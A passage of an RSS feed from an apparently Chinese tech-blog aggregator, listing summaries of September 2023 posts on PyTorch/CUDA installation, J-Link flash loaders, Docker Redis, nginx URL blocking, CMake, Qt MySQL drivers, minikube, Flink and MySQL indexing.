RW data .ANY (+RW +ZI) } RW_IRAM2 0x24000000 0x00080000 { .ANY (+RW +ZI) } } LR_EROM1 0x90000000 0x01000000 { ; load region size_region ER_EROM1 0x90000000 0x01000000 { ; load address = execution address *.</description>
    </item>
    <item>
      <title>Anaconda安装GPU版本pytorch(成功)</title>
      <link>https://bchobby.github.io/posts/7d48b792fa797a8e8768ae2105b42bd4/</link>
      <pubDate>Tue, 05 Sep 2023 14:47:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d48b792fa797a8e8768ae2105b42bd4/</guid>
      <description>查看电脑环境，选择CUDA版本 CUDA（Compute Unified Device Architecture）中文名为统一计算设备架构，，是显卡厂商NVDIV推出的运算平台，可以帮助GPU处理图形相关的计算问题。&#xA;我们可以通过在命令行输入以下命令来查看我们电脑的CUDA版本配置，下面可以看到我的CUDA版本为11.7若电脑没有独立显卡，则该命令输入无效&#xA;nvidia-smi CUDA版本： 11.7.99&#xA;安装GPU版的pytorch包。因为pytorch包需要与CUDA版本相匹配，所以需要根据自己机器的CUDA版本择对应版本的pytorch包进行安装CUDA 与驱动关系&#xA;创建conda环境 在指定路径创建虚拟环境&#xA;Anaconda改变虚拟环境安装路径&#xA;conda create -n pytorch-GPU python=3.7 # 创建一个python3.7的conda环境 conda activate pytorch-GPU # 进入该conda环境 换conda源, 清华镜像源 conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/ 南京大学镜像https://mirror.nju.edu.cn/pub/anaconda/cloud/pytorch/win-64/&#xA;安装pytorch conda方法： 参考了一些文章：&#xA;conda安装GPU版pytorch，结果却是cpu版本[找到问题根源，从容解决]&#xA;conda安装GPU版pytorch，结果总是cpu版本&#xA;pytorch的文件名的普通命名格式:&#xA;一个在python=3.7conda 环境下，cudatoolkit=10.1版本的pytorch=1.7.0的文件名为pytorch-1.7.0-py3.7_cuda10.1.243_cudnn7.6.3_0.tar.bz2&#xA;我选择的版本如下：&#xA;python=3.8,cudatoolkit=11.7以及pytorch=2.0.0&#xA;conda install cudatoolkit=11.7 -c https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/win-64/ pip安装（成功安装GPU版本） 官方下载whl</description>
    </item>
    <item>
      <title>痞子衡嵌入式：恩智浦i.MX RT1xxx系列MCU硬件那些事（2.3）- 串行NOR Flash下载算法(J-Link工具篇)</title>
      <link>https://bchobby.github.io/posts/6c5294e693deb128bad2f674e4ec7d96/</link>
      <pubDate>Tue, 05 Sep 2023 14:46:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c5294e693deb128bad2f674e4ec7d96/</guid>
      <description>https://www.cnblogs.com/henjay724/p/13770137.html&#xA;大家好，我是痞子衡，是正经搞技术的痞子。今天痞子衡给大家介绍的是J-Link工具下i.MXRT的串行NOR Flash下载算法设计。&#xA;在i.MXRT硬件那些事系列之《在串行NOR Flash XIP调试原理》一文中，痞子衡简单提了一下串行NOR Flash下载算法的概念，并没有介绍具体设计细节，关于NOR Flash下载算法每个IDE/工具都有自己的一套设计，虽然基本设计理念是一样的，但是细节方面还是有区别，今天痞子衡就来细聊J-Link下的NOR Flash下载算法：&#xA;一、J-Link各版本对i.MXRT的支持 从Segger官网上看，目前最新的J-Link驱动版本是V6.86b，其能够支持目前所有已量产的i.MXRT系列，而痞子衡PC上安装的是V6.52e，从 J-Link历史各版本Release Note 上看，痞子衡目前的J-Link版本不支持全部i.MXRT型号，那么如果想要支持新芯片（比如i.MXRT1170），是不是一定要重新安装最新J-Link呢？其实未必！&#xA;版本发布时间支持芯片V6.842020-09-04i.MXRT1024V6.642020-03-13i.MXRT1170V6.602019-12-16i.MXRT1010V6.462019-05-23i.MXRT500、i.MXRT600V6.442019-03-01i.MXRT1015V6.402018-10-26i.MXRT1064V6.342018-08-07i.MXRT1060V6.322018-04-20i.MXRT1050、i.MXRT1020 J-Link对新MCU型号的下载支持并不是与自身版本严格绑定的，其增加新芯片的方式很灵活，只需要按要求添加相应的算法文件即可，这样我们可以不必等待Segger的正式发布。&#xA;二、为当前J-Link增加新i.MXRT型号支持 关于增加i.MXRT新型号的支持，痞子衡之前写过一篇文章 《轻松为i.MXRT设计更新Segger J-Link Flash下载算法文件》，简介了如何为v.6.52e版本新增i.MXRT600的支持（那篇文章其实有点疏忽，v6.52版本已经开始支持i.MXRT600，直接集成进JLinkARM.dll中了，没有显式地放在JLinkDevices.xml文件中）。&#xA;为当前J-Link驱动增加新i.MXRT型号支持，其实就是在 \SEGGER\JLink_V652e\JLinkDevices.xml 文件中按模板添加一些代码，至于那些代码是什么含义，在 \SEGGER\JLink_V652e\Doc\Manuals\UM08001_JLink.pdf 文档的 Chapter 12 Open Flashloader 有详细解释。&#xA;让我们试着分析 JLinkDevices.xml 文件中那些模板代码的含义，且以最常见的 i.MXRT1060 型号为例：&#xA;&amp;lt;Device&amp;gt; &amp;lt;ChipInfo Vendor=&#34;NXP&#34; Name=&#34;MIMXRT1062xxx6A&#34; WorkRAMAddr=&#34;0x20000000&#34; WorkRAMSize=&#34;0x00080000&#34; Core=&#34;JLINK_CORE_CORTEX_M7&#34; JLinkScriptFile=&#34;Devices/NXP/iMXRT106x/NXP_iMXRT106x.pex&#34; Aliases=&#34;MIMXRT1062DVL6A&#34; /&amp;gt; &amp;lt;FlashBankInfo Name=&#34;QSPI Flash&#34; BaseAddr=&#34;0x60000000&#34; MaxSize=&#34;0x04000000&#34; Loader=&#34;Devices/NXP/iMXRT106x/NXP_iMXRT106x_QSPI.elf&#34; LoaderType=&#34;FLASH_ALGO_TYPE_OPEN&#34; /&amp;gt; &amp;lt;/Device&amp;gt; 模板代码中参数主要分两类：ChipInfo和FlashBankInfo，前者描述算法适用的MCU芯片相关信息，后者描述在该MCU上适用的Flash操作相关信息。&#xA;先说ChipInfo下的参数：Vendor和Name主要是创建J-Flash工程或者在IDE里在线下载时弹出J-Link选项框时用于确定选择这个下载算法文件的标识。Core用于指定MCU芯片内核类型。JLinkScriptFile指定开始启用下载算法前需预加载的Jlink脚本（可以根据MCU特性做一些特殊的初始化工作，比如RT600的Debug Mailbox激活，RT1170的双核切换等）。Aliases就是Name的详细展开。&#xA;ChipInfo下最重要的两个参数其实是WorkRAMAddr和WorkRAMSize，它们指明了下载算法(某种elf格式文件)被加载进MCU内部SRAM执行的区域，这两个参数值与MCU型号息息相关，必须是合法有效的，但可以不唯一。后面的文章里痞子衡会介绍下载算法设计原理，其最重要的特性是Read-Only Position Independent和Read-Write Position Independent，即下载算法本身不是固定地址链接，而是位置无关链接，算法代码机器码是可以被放到任意地址去执行的。&#xA;再说FlashBankInfo下的参数：Name标明下载算法适用的Flash类型（FlashBankInfo可以有多个，对应不同Flash的下载算法）。BaseAddr和MaxSize标明该Flash在MCU系统内存映射中的地址范围，主要用于后续XIP调试，跟下载关系不大。Loader和LoaderType则指明下载算法文件位置和类型，这是核心，对于新i.MXRT型号的下载支持，大部分工作其实就是提供合适的Loader。&#xA;三、NOR Flash下载算法设计 前面讲了J-Link对于新i.MXRT型号的下载支持，其实就是提供合适的Loader文件，Loader文件的设计是核心，那么J-Link的Loader到底是怎么设计的呢？这得先从理解LoaderType这个参数说起。&#xA;搜遍整个UM08001_JLink文档，LoaderType仅有一个值，即FLASH_ALGO_TYPE_OPEN，文档里的解释是使用公开的Flashloader算法设计，这个公开的Flashloader指的是ARM官方的基于CMSIS的Flashloader。&#xA;ARM开源的Flashloader算法属于CMSIS-Pack 中的 Device Family Pack (DFP) 里的一个组成部分，它本来是专用于Keil MDK下的，但是Segger为了保持其J-Link工具链的通用性，选择了与ARM Flashloader的API接口保持一致，这意味着Keil MDK与J-Link两者的下载算法文件基本是可以交换使用的（当然设计上有一点小区别，后面文章会介绍）。</description>
    </item>
    <item>
      <title>Docker安装Redis(mac)</title>
      <link>https://bchobby.github.io/posts/75e5f1d6e634d50b69f174661790326b/</link>
      <pubDate>Tue, 05 Sep 2023 13:57:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75e5f1d6e634d50b69f174661790326b/</guid>
      <description>一、安装docker 下载地址：Docker中文网 官网&#xA;下载完直接安装并移到应用目录中即可（对于docker的使用、配置等这不阐述）&#xA;二、安装Redis 2.1 搜索并拉取镜像 Redis官方网站 Redis&#xA;docker search redis 我们下载第一个官网认证的redis，官方镜像仓库地址 https://hub.docker.com/&#xA;2.2 安装 查看下载好的镜像&#xA;docker images 安装redis&#xA;docker run -d -p 6379:6379 --name redis8 redis 查看刚安装的redis&#xA;docker ps 查看版本号&#xA;docker exec -it redis8 redis-cli -v 到此简单的安装redis完成。</description>
    </item>
    <item>
      <title>nginx拦截指定的url</title>
      <link>https://bchobby.github.io/posts/6b9469fd4b5e0e5fcd0e27c13153de02/</link>
      <pubDate>Tue, 05 Sep 2023 12:50:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b9469fd4b5e0e5fcd0e27c13153de02/</guid>
      <description>在配置nginx规则拦截的时候我们要清楚自己的需求&#xA;需求如下：&#xA;外网地址：不能被访问&#xA;内网地址：能访问&#xA;外网地址如下：外网ip+端口/pac/pul/check （这里域名ip都可以）&#xA;内网地址如下：内网ip+端口/pac/pul/check (内网ip不做拦截)&#xA;nginx配置如下：&#xA;location /pac { if ( $request_uri = /pac/pul/chec) { return 404; } root html; index index.html index.htm; proxy_set_header X-real-ip $remote_addr; proxy_set_header REMOTE-HOST $remote_addr; proxy_set_header CLOUD-FORWORD-CLENT-IP-REMOTADDR $http_x_forwarded_for; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header REMOTE_PORT $remote_port; proxy_set_header Host 内网域名或者ip; proxy_pass 内网域名或者ip/gate/pac; client_max_body_size 30m; } 上面的配置和需求这里简单说明一下：&#xA;1、我们的环境有内网和外网之分，但是有些请求只能内网访问 外网不能访问&#xA;2、所有通过nginx localtion 配置添加判断条件 当外网访问等于我设定条件时返回指定错误响应码&#xA;此方法也可以用来判断 ip 域名等等</description>
    </item>
    <item>
      <title>CMakeLists.txt快速入门</title>
      <link>https://bchobby.github.io/posts/51da3b9ab422ff541bd830a8f9b8de2e/</link>
      <pubDate>Tue, 05 Sep 2023 12:08:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51da3b9ab422ff541bd830a8f9b8de2e/</guid>
      <description>一：CMakeLists.txt的基本结构 编写CMakeLists.txt最常用的功能就是调用其他的.h头文件和.so/.a库文件，将.cpp/.c/.cc文件编译成可执行文件或者新的库文件。&#xA;命令的官方网站：CMake Reference Documentation&#xA;最常用的命令如下:&#xA;# 本CMakeLists.txt的project名称 # 会自动创建两个变量，PROJECT_SOURCE_DIR和PROJECT_NAME # ${PROJECT_SOURCE_DIR}：本CMakeLists.txt所在的文件夹路径 # ${PROJECT_NAME}：本CMakeLists.txt的project名称 project(xxx) # 获取路径下所有的.cpp/.c/.cc文件，并赋值给变量中 aux_source_directory(路径 变量) # 给文件名/路径名或其他字符串起别名，用${变量}获取变量内容 set(变量 文件名/路径/...) # 添加编译选项 add_definitions(编译选项) # 打印消息 message(消息) # 编译子文件夹的CMakeLists.txt # 当运行到add_subdirectory这一句时，会先将子文件夹进行编译 add_subdirectory(子文件夹名称) # 将.cpp/.c/.cc文件生成.a静态库 # 注意，库文件名称通常为libxxx.so，在这里只要写xxx即可 add_library(库文件名称 STATIC 文件) # 将.cpp/.c/.cc文件生成可执行文件 add_executable(可执行文件名称 文件) # 规定.h头文件路径 include_directories(路径) # 规定.so/.a库文件路径 link_directories(路径) # 对add_library或add_executable生成的文件进行链接操作 # 注意，库文件名称通常为libxxx.so，在这里只要写xxx即可 target_link_libraries(库文件名称/可执行文件名称 链接的库文件名称) 通常一个CMakeLists.txt需按照下面的流程：&#xA;project(xxx) #必须 add_subdirectory(子文件夹名称) #父目录必须，子目录不必 add_library(库文件名称 STATIC 文件) #通常子目录(二选一) add_executable(可执行文件名称 文件) #通常父目录(二选一) include_directories(路径) #必须 link_directories(路径) #必须 target_link_libraries(库文件名称/可执行文件名称 链接的库文件名称) #必须 除了这些之外，就是些set变量的语句，if判断的语句，或者其他编译选项的语句，但基本结构都是这样的。</description>
    </item>
    <item>
      <title>前端面试八股文（最新版）</title>
      <link>https://bchobby.github.io/posts/34bb79c08f27d46215e965411e4590ed/</link>
      <pubDate>Tue, 05 Sep 2023 11:43:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34bb79c08f27d46215e965411e4590ed/</guid>
      <description>目录&#xA;一、基础（大概率不问）&#xA;1.如何理解HTML语义化的？&#xA;2.HTML5有哪些新标签&#xA;3. BFC是什么？&#xA;4. 如何实现垂直居中？&#xA;5. Css选择器的优先级如何确定？【背诵】&#xA;6. 如何清除浮动？&#xA;7. var/ let / const 区别&#xA;二、Js [基础概念]&#xA;7. JS 的数据类型有哪些？&#xA;8. 数组的方法有哪些？&#xA;9. 原型链是什么&#xA;10. this的指向 11. JS 的 new 做了什么【记忆】&#xA;12. JS 的立即执行函数是什么【概念题】&#xA;13. JS 的闭包是什么？怎么用？&#xA;14. JS 如何实现类？&#xA;15. JS 如何实现继承？&#xA;16. 判断数据类型的方法&#xA;17. 作用域和作用域链&#xA;18.事件流有三个阶段：&#xA;三、js 重点&#xA;1. 遍历数组&#xA;2. 排序方法&#xA;3. 数据去重&#xA;4. 深浅拷贝&#xA;一、基础（大概率不问） 1.如何理解HTML语义化的？ 语义化标签时写html标签的一种方法论。&#xA;段落要写成p标签，标题我会用h1-h6之间，文章呢用article,那么时间我会用time标签，画板会用kawasi标签。&#xA;优点：适合搜索引擎来检索，适合人类阅读利于团队维护&#xA;2.HTML5有哪些新标签 回答:平常用的就是header、atikou&#xA;延伸问题:Canvas 和SVG的区别?</description>
    </item>
    <item>
      <title>华为平板横屏双击右下角熄屏</title>
      <link>https://bchobby.github.io/posts/08960e8ff1ee3789566a3dcb1efb4066/</link>
      <pubDate>Tue, 05 Sep 2023 11:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08960e8ff1ee3789566a3dcb1efb4066/</guid>
      <description> 华为平板在横屏模式下双击右下角会熄屏。可是是因为你开启了连点器之类的应用所导致的。&#xA;解决方式：&#xA;打开设置，找到【辅助功能】： 点击【无障碍】 滑到最下面找到【已安装的服务】 在里面找到自己的连点器软件 可以看到是开启状态，点击 我们可以将它关闭 此时会有弹窗，单击确定即可关闭 我们可以看到，此项服务已被关闭 改为横屏模式再次双击屏幕右下角，我们可以发现问题已经解决 </description>
    </item>
    <item>
      <title>【Red Hat 7.9---详细安装Oracle 11g】---图形化界面方式</title>
      <link>https://bchobby.github.io/posts/a319b816ab51f8946c46ad3e0bc9da70/</link>
      <pubDate>Tue, 05 Sep 2023 10:40:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a319b816ab51f8946c46ad3e0bc9da70/</guid>
      <description>【Red Hat 7.9---详细安装Oracle 11g】---图形化界面方式 🔻 一、安装前规划🔻 二、安装前准备一（系统参数修改）⛳ 2.1 内核版本、系统版本查看⛳ 2.2 修改主机名-重启生效⛳ 2.3 关闭selinux⛳ 2.4 防火墙设置1521端口开放⛳ 2.5 系统相关配置检查2.5.1 🍁 修改/dev/shm 大小（/dev/shm空间不能小于分配给oracle使用内存的大小）2.5.2 🍁 /tmp（临时文件存储空间） &amp;gt;1G2.5.3 🍁 /u01（软件安装目录） &amp;gt;2.5G2.5.4 🍁 内核需求 ⛳ 2.6 系统光盘镜像文件挂载---配置本地yum源2.6.1 🍁 上传iso镜像文件并挂载到 /mnt/dvd/ 下2.6.2 🍁 备份yum源文件2.6.3🍁 本地yum源配置2.6.4🍁 验证本地yum源配置 ⛳ 2.7 Orange11g有关依赖包检查及安装⛳ 2.8 修改资源限制参数并使其生效⛳ 2.9 系统内核参数修改⛳ 2.10 用户创建进程数的限制 🔻 三、安装前准备（创建用户、用户组以及安装目录）⛳ 3.1 创建用户组⛳ 3.2 创建oracle用户和设置密码⛳ 3.3 创建安装目录⛳ 3.4 设置oracle用户环境变量⛳ 3.5 创建oracle安装文件所在目录 🔻 四、开始安装⛳ 4.1 配置更新以及技术支持⛳ 4.2 配置安装选项⛳ 4.3 选择网格安装选项⛳ 4.4 选择语言⛳ 4.</description>
    </item>
    <item>
      <title>Elasticsearch：倒数排序融合 - Reciprocal rank fusion (RRF)</title>
      <link>https://bchobby.github.io/posts/47aa97cfc1a996b1fd1e84b96bc19683/</link>
      <pubDate>Tue, 05 Sep 2023 10:16:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47aa97cfc1a996b1fd1e84b96bc19683/</guid>
      <description>警告：此功能处于技术预览阶段，可能会在未来版本中更改或删除。 Elastic 将尽最大努力修复任何问题，但技术预览中的功能不受官方 GA 功能的支持 SLA 约束。&#xA;倒数排序融合（RRF）是一种将具有不同相关性指标的多个结果集组合成单个结果集的方法。 RRF 无需调优，不同的相关性指标也不必相互关联即可获得高质量的结果。该方法的优势在于不利用相关分数，而仅靠排名计算。相关分数存在的问题在于不同模型的分数范围差。&#xA;使用 Reciprocal Rank Fusion (RRF) 的简化混合搜索 通常，最好的排名是通过组合多种排名方法来实现的，例如 BM25 和生成密集向量嵌入的 ML 模型。 在实践中，将结果集组合成一个单一的组合相关性排名结果集被证明是非常具有挑战性的。 当然，理论上你可以将每个结果集的分数归一化（因为原始分数在完全不同的范围内），然后进行线性组合，根据每个排名的分数加权和排序最终结果集方法。 只要你提供正确的权重，Elasticsearch 就支持它并且运行良好。 为此，你需要了解环境中每种方法得分的统计分布，并有条不紊地优化权重。 实际上，这超出了绝大多数用户的能力。&#xA;另一种方法是 RRF 算法，它提供了出色的排序方法零样本混合，正如学术研究所证明的那样。 如果你不了解不同方法中排名分数的确切分布，这不仅是最好的混合方式，而且客观上也是混合排名方法的好方法 —— 即使你知道如何归一化及分数的分布情况，也很难被击败。 基本概念是结果的组合顺序由每个结果集中每个文档的位置（和存在）定义。 因此可以方便地忽略排名分数。&#xA;Elastic 8.8 支持具有多个密集向量查询和在倒排索引上运行的单个查询的 RRF。 在不久的将来，我们希望支持来自 BM25 和 Elastic 的检索模型（两者都是稀疏向量）的混合结果，从而产生同类最佳的零样本集（无域内训练）排名方法。&#xA;​&#xA;D - 文档集R - 一组排名作为 1..|D| 的排列K - 通常默认设置为 60 RRF 使用以下公式来确定对每个文档进行排名的分数：&#xA;score = 0.0 for q in queries: if d in result(q): score += 1.</description>
    </item>
    <item>
      <title>Qt编译MySQL驱动</title>
      <link>https://bchobby.github.io/posts/f752f3ff6b86660a0088606dc192267c/</link>
      <pubDate>Mon, 04 Sep 2023 20:08:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f752f3ff6b86660a0088606dc192267c/</guid>
      <description>一、简述 Qt默认没有MySQL驱动动态库，所以Qt开发时需要手动编译对应的MySQL驱动动态库。编译过程需要本地已经安装MySQL，安装对应路径有MySQL相关头文件。 环境&#xA;系统：Window10 64bitMySQL：mysql-5.6.24-win32（MySQL链接：https://cdn.mysql.com/archives/mysql-5.6/mysql-5.6.24-win32.zip）Qt：qt-opensource-windows-x86-5.12.12.exeVs：vs2017企业版 二、动态编译Qt MySql驱动 Qt安装时勾选Sources解压mysql-5.6.24-win32安装包，然后通过响应指令启动MySQL打开安装Qt的相应目录，例如：C:\Qt\Qt5.12.12\5.12.12\Src\qtbase\src\plugins\sqldrivers\mysql通过txt编辑器编辑mysql.pro 本文福利，莬费领取Qt开发学习资料包、技术视频，内容包括（C++语言基础，Qt编程入门，QT信号与槽机制，QT界面开发-图像绘制，QT网络，QT数据库编程，QT项目实战，QSS，OpenCV，Quick模块，面试题等等）↓↓↓↓↓↓见下面↓↓文章底部点击莬费领取↓↓ 编辑后结果：&#xA;TARGET = qsqlmysql HEADERS += $$PWD/qsql_mysql_p.h SOURCES += $$PWD/qsql_mysql.cpp $$PWD/main.cpp #QMAKE_USE += mysql #需要注释，否则报错 OTHER_FILES += mysql.json PLUGIN_CLASS_NAME = QMYSQLDriverPlugin win32:LIBS += -LD:/mysql-5.7.23-winx64/lib/ -llibmysql INCLUDEPATH += D:/mysql-5.7.23-winx64/include DEPENDPATH += D:/mysql-5.7.23-winx64/include #上面的D:/mysql-5.7.23-winx64，是自己对应的MySQL目录 include(../qsqldriverbase.pri) #需要添加最后这个include，否则提示：qtsqldrivers-config.pri no such file or directory 编译后驱动目录：C:\plugins\sqldrivers将libmysql.dll(这个动态库在MySQL的lib目录下)下载后复制到Qt的安装目录中E:\Qt\Qt5.12\5.12.0\mingw73_32\bin把生成目录C:\plugins\sqldrivers下面的动态库dll复制到“plugins\sqldrivers”目录(例如：C:\Qt\Qt5.12.12\5.12.12\msvc2017\plugins\sqldrivers) 测试验证：qt代码：&#xA;qDebug() &amp;lt;&amp;lt; QSqlDatabase::drivers(); 三、静态编译Qt MySql驱动 注意：静态编译Qt MySql驱动时，调用静态编译Qt环境的qmake。&#xA;第一步&#xA;源码包中目录：qtbase\src\plugins\sqldrivers\mysql&#xA;打开mysql.pro,对该文件进行修改：&#xA;TARGET = qsqlmysql CONFIG += static HEADERS += $$PWD/qsql_mysql_p.h SOURCES += $$PWD/qsql_mysql.</description>
    </item>
    <item>
      <title>kubernets_实战篇（minikube）</title>
      <link>https://bchobby.github.io/posts/997ed4652a948a40b601b3eab7ad6fcb/</link>
      <pubDate>Mon, 04 Sep 2023 19:05:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/997ed4652a948a40b601b3eab7ad6fcb/</guid>
      <description>minikube 一、前提准备1，安装工具 二、启动集群1，启动集群2，暴露Pod（1）kubernetes Service 类型 三、集群操作1，Pod操作2，启用插件3，清理集群资源 一、前提准备 本文环境是基于，在线k8s环境，linux ，x86_64&#xA;1，安装工具 安装 minikube ## 下载 curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-latest.x86_64.rpm sudo rpm -Uvh minikube-latest.x86_64.rpm ## 启动 minikube start --force 安装 kubectl curl -LO &#34;https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl&#34; install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl ## 检验版本 kubectl version --client 二、启动集群 1，启动集群 minikube start --froce ### 创建Deployment kubectl create deployment hello-node --image=registry.k8s.io/e2e-test-images/agnhost:2.39 -- /agnhost netexec --http-port=8080 2，暴露Pod 暴露Pod 为 kubernetes Service</description>
    </item>
    <item>
      <title>购物商场项目实践</title>
      <link>https://bchobby.github.io/posts/ee8744eeaa414ce7c0f532b100d2b1d6/</link>
      <pubDate>Mon, 04 Sep 2023 18:37:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee8744eeaa414ce7c0f532b100d2b1d6/</guid>
      <description> 1.项目开始 1）此项目为在线电商项目&#xA;2）包含首页，搜索列表，商品详情，购物车，订单，支付，用户登录/注册等多个子模块&#xA;3）使用Vue全家桶+ES6+webpack+Axios等前端技术&#xA;4）采用模块化，组件化，工程化的模式进行开发&#xA;2.项目展示 2.1项目功能页面展示： 2.2项目技术展示： 2.3项目路由展示： 2.4项目接口展示 </description>
    </item>
    <item>
      <title>Flink基础实操-计算单词出现次数</title>
      <link>https://bchobby.github.io/posts/bd21206b2f415f61226ffc1af9ec8382/</link>
      <pubDate>Mon, 04 Sep 2023 17:33:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd21206b2f415f61226ffc1af9ec8382/</guid>
      <description>🥇🥇【大数据学习记录篇】-持续更新中~🥇🥇&#xA;个人主页：beixi@&#xA;本文章收录于专栏（点击传送）：【大数据学习】&#xA;💓💓持续更新中，感谢各位前辈朋友们支持学习~&#xA;上一篇文章写到了Flink环境搭建，这篇文章接着上篇文章延伸Flink的使用-计算单词出现次数，如果Flink境没有搭建的小伙伴们可以参考我上一篇文章：大数据组件-Flink环境搭建&#xA;文章目录 1.环境介绍2.Scala交互统计：3.JAVA工程统计 1.环境介绍 本次用到的环境有：&#xA;**JDK1.8&#xA;Flink 1.13.0&#xA;Oracle Linux7.4&#xA;**&#xA;2.Scala交互统计： 1.启动flink进入 scala 交互模式。&#xA;start-scala-shell.sh local 2.输入脚本，求词频。&#xA;val wordcount=benv.readTextFile(“file:///root/experiment/datas/wordcount.txt”).flatMap(_.split(&#34;\t&#34;)).map((_,1)).groupBy(0).sum(1) wordcount.print 3.JAVA工程统计 打开IDEA集成开发工具：&#xA;选择 Create New Project菜单项，创建一个新的项目工程，在新的项目工程中选择窗口左侧的Maven菜单项，如图：&#xA;点击Next按钮，如下图：&#xA;输入框GroupId中填写experiment, 输入框ArtifactId中填写project，如下图：&#xA;点击Next按钮，如下图：&#xA;点击Finish按钮，如下图：&#xA;点击提示窗口中的close按钮，如下图：&#xA;在右下角弹出的对话框中，选择Enable Auto-Import（如未弹出该对话框请忽略此步骤）&#xA;更改pom.xml文件，如下图：&#xA;&amp;lt;properties&amp;gt; &amp;lt;maven.compiler.source&amp;gt;1.8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;1.8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;encoding&amp;gt;UTF-8&amp;lt;/encoding&amp;gt; &amp;lt;scala.binary.version&amp;gt;2.11&amp;lt;/scala.binary.version&amp;gt; &amp;lt;flink.version&amp;gt;1.13.0&amp;lt;/flink.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.flink&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;flink-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${flink.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.flink&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;flink-clients_${scala.binary.version}&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${flink.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 鼠标点击项目中Java文件夹，单击右键选择New,子菜单中选择Package,如下图所示：&#xA;弹出对话框，如下图：&#xA;窗口输入框中填写创建的包名flink，如下图：&#xA;点击按钮OK，如下图：&#xA;鼠标点击包flink，单击右键选择New,子菜单中选择java Class,如下图所示：&#xA;弹出窗口，如下图： 16. 弹出窗口中填写类名，如下图：&#xA;17. 创建的WordCountJava类中，输入代码：</description>
    </item>
    <item>
      <title>mysql索引详解</title>
      <link>https://bchobby.github.io/posts/a14cfe139463c013b92de9d0b6288b4a/</link>
      <pubDate>Mon, 04 Sep 2023 17:16:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a14cfe139463c013b92de9d0b6288b4a/</guid>
      <description>一、MySQL三层逻辑架构 MySQL的存储引擎架构将查询处理与数据的存储/提取相分离。下面是MySQL的逻辑架构图:&#xA;1、第一层负责连接管理、授权认证、安全等等。 每个客户端的连接都对应着服务器上的一个线程。服务器上维护了一个线程池，避免为每个连接都创建销毁一个线程。当客户端连接到MySQL服务器时，服务器对其进行认证。可以通过用户名和密码的方式进行认证，也可以通过SSL证书进行认证。登录认证通过后，服务器还会验证该客户端是否有执行某个查询的权限。&#xA;2、第二层负责解析查询 编译SQL，并对其进行优化(如调整表的读取顺序，选择合适的索引等)。对于SELECT语句，在解析查询前，服务器会先检查查询缓存，如果能在其中找到对应的查询结果，则无需再进行查询解析、优化等过程，直接返回查询结果。存储过程、触发器、视图等都在这一层实现。&#xA;3、第三层是存储引擎 存储引擎负责在MySQL中存储数据、提取数据、开启一个事务等等。存储引擎通过API与上层进行通信，这些API屏蔽了不同存储引擎之间的差异，使得这些差异对上层查询过程透明。存储引擎不会去解析SQL。&#xA;二、对比InnoDB与MyISAM 1、存储结构 MyISAM:每个MyISAM在磁盘上存储成三个文件。分别为:表定义文件、数据文件、索引文件。第一个文件的名字以表的名字开始，扩展名指出文件类型。.frm文件存储表定义。数据文件的扩展名为.MYD(MYData)。索引文件的扩展名是.MYI(MYIndex)。&#xA;InnoDB:所有的表都保存在同一个数据文件中（也可能是多个文件，或者是独立的表空间文件)，InnoDB表的大小只受限于操作系统文件的大小，一般为2GB。&#xA;2、存储空间 MylSAM: MyISAM支持支持三种不同的存储格式∶静态表(默认，但是注意数据末尾不能有空格，会被去掉)、动态表、压缩表。当表在创建之后并导入数据之后，不会再进行修改操作，可以使用压缩表，极大的减少磁盘的空间占用。&#xA;InnoDB:需要更多的内存和存储，它会在主内存中建立其专用的缓冲池用于高速缓冲数据和索引。&#xA;3、可移植性、备份及恢复 MyISAM:数据是以文件的形式存储，所以在跨平台的数据转移中会很方便。在备份和恢复时可单独针对某个表进行操作。InnoDB:免费的方案可以是拷贝数据文件、备份binlog，或者用mysqldump，在数据量达到几十G的时候就相对痛苦了。&#xA;4、事务支持 MyISAM:强调的是性能，每次查询具有原子性,其执行数度比InnoDB类型更快，但是不提供事务支持。&#xA;InnoDB:提供事务支持事务，外部键等高级数据库功能。具有事务(commit)、回滚(rollack)和崩溃修复能力(crash recovery capabilities)的事务安全(transaction-safe (ACID compliant))型表。&#xA;5、AUTO_INCREMENT MyISAM:可以和其他字段一起建立联合索引。引擎的自动增长列必须是索引，如果是组合索引，自动增长可以不是第一列，他可以根据前面几列进行排序后递增。&#xA;InoDB: 